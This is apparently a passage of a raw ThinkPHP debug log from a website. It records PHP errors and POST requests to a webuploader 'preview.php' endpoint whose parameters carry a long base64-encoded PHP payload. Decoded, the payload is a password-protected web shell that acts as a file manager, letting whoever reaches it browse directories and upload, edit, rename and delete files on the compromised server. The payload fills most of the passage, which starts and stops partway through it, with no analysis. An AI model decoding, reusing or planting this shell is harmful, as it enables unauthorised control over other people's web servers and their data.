gY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:12+08:00 ] 119.42.146.234 POST 51tianwei.com/source/plugin/iscwo_kaifu/webuploader/0.1.15/server/preview.php [运行时间:0.002750s] [吞吐率:363.65req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'source', 2 => 'plugin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID